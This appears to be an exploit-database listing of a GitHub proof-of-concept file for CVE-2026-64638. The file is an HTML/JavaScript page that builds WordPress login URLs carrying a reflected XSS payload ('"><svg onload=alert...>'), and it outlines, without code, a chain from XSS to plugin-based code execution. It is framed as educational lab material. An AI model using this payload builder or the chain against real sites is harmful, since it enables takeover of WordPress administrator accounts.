Exploit database

GH-0dba15fa81e8168f8df8cc1401a156be

imbas007/cve-2026-64638-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64638

20 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
imbas007/cve-2026-64638-pocRevision ad37d0f43293

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

xss_payload.html

HTML · 5,313 bytes
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CVE-2026-64638 XSS2Shell — Educational Reflected XSS PoC</title>
  <style>
    body {
      font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
      max-width: 900px;
      margin: 2rem auto;
      padding: 0 1rem;
      line-height: 1.6;
    }
    code, pre {
      background: #f4f4f4;
      border-radius: 4px;
      padding: 0.15rem 0.35rem;
      font-family: SFMono-Regular, Consolas, monospace;
    }
    pre {
      padding: 1rem;
      overflow-x: auto;
    }
    .warning {
      background: #fff3cd;
      border-left: 4px solid #ffc107;
      padding: 1rem;
      margin: 1rem 0;
    }
    .form-group {
      margin: 1rem 0;
    }
    label {
      display: block;
      margin-bottom: 0.25rem;
      font-weight: 600;
    }
    input[type="text"] {
      width: 100%;
      padding: 0.5rem;
      font-size: 1rem;
      border: 1px solid #ccc;
      border-radius: 4px;
    }
    button {
      padding: 0.6rem 1.2rem;
      font-size: 1rem;
      border: none;
      border-radius: 4px;
      background: #d63384;
      color: #fff;
      cursor: pointer;
    }
    button:hover { background: #b52a6d; }
    iframe {
      width: 100%;
      height: 500px;
      border: 1px solid #ccc;
      margin-top: 1rem;
    }
  </style>
</head>
<body>

<h1>CVE-2026-64638 — XSS2Shell Educational PoC</h1>

<div class="warning">
  <strong>Educational / Authorized Use Only.</strong> This page demonstrates a reflected XSS
  vector against a self-hosted WordPress lab. Do not use against systems you do not own
  or have permission to test.
</div>

<h2>1. Target Configuration</h2>

<div class="form-group">
  <label for="target">WordPress login URL</label>
  <input type="text" id="target" value="https://localhost/wordpress/wp-login.php">
</div>

<div class="form-group">
  <label for="callback">Callback server (for exfiltration tests)</label>
  <input type="text" id="callback" value="http://127.0.0.1:8080/callback">
</div>

<h2>2. Stage-1 Payload — Reflected XSS via login form</h2>

<p>
  The root cause of CVE-2026-64638 is a parser differential: malformed input survives
  <code>strip_tags()</code> but is later reconstructed as HTML by <code>wp_kses_post()</code>,
  so attacker markup appears in the failed-login error page.
</p>

<p>
  The exact bypass payload used by pwn.ai has not been released as standalone code. The
  payload below uses a <strong>documented, sanitized test vector</strong> that triggers a
  benign <code>alert()</code> on older WordPress installations that do not properly escape the
  reflected <code>user_login</code> value. If the target is patched, the payload will be rendered
  as text.
</p>

<div class="form-group">
  <label for="payload">Username payload</label>
  <input type="text" id="payload" value='"><svg onload=alert("CVE-2026-64638")>'>
</div>

<button id="build">Build malicious login URL</button>

<h2>3. Generated URL</h2>

<pre id="output"></pre>

<p>
  <button id="open" disabled>Open in new tab</button>
  <button id="iframe" disabled>Load in iframe</button>
</p>

<iframe id="preview" hidden></iframe>

<h2>4. Manual Verification</h2>

<ol>
  <li>Set the <strong>Target</strong> to your lab WordPress login page.</li>
  <li>Click <strong>Build malicious login URL</strong>.</li>
  <li>Open the URL or load it in the iframe.</li>
  <li>If vulnerable, the browser will execute the inline handler and show an alert.</li>
  <li>If patched, the browser will display the payload characters as plain text.</li>
</ol>

<h2>5. Next Stage — XSS2Shell Chain</h2>

<p>
  A real XSS2Shell chain proceeds from the reflected XSS to:
</p>

<ol>
  <li>DOM clobbering to alter form actions / hidden fields</li>
  <li>JSONP / Same-Origin Method Execution to call privileged endpoints</li>
  <li>Creation of an Application Password for the victim admin</li>
  <li>REST API calls using that Application Password</li>
  <li>Upload/install of a malicious plugin</li>
  <li>Code execution via plugin PHP file</li>
</ol>

<p>
  Those later stages require an authenticated administrator session and are not included
  in this public educational PoC.
</p>

<script>
const targetInput   = document.getElementById('target');
const payloadInput  = document.getElementById('payload');
const output        = document.getElementById('output');
const openBtn       = document.getElementById('open');
const iframeBtn     = document.getElementById('iframe');
const preview       = document.getElementById('preview');
let currentUrl      = '';

document.getElementById('build').addEventListener('click', () => {
  const base   = targetInput.value.trim().replace(/\?$/, '');
  const params = new URLSearchParams();
  params.set('log', payloadInput.value);
  params.set('pwd', 'bogus');
  params.set('wp-submit', 'Log+In');
  params.set('redirect_to', base + '?check=1');
  currentUrl = base + '?' + params.toString();
  output.textContent = currentUrl;
  openBtn.disabled   = false;
  iframeBtn.disabled = false;
});

openBtn.addEventListener('click', () => {
  if (currentUrl) window.open(currentUrl, '_blank');
});

iframeBtn.addEventListener('click', () => {
  if (!currentUrl) return;
  preview.src    = currentUrl;
  preview.hidden = false;
});
</script>

</body>
</html>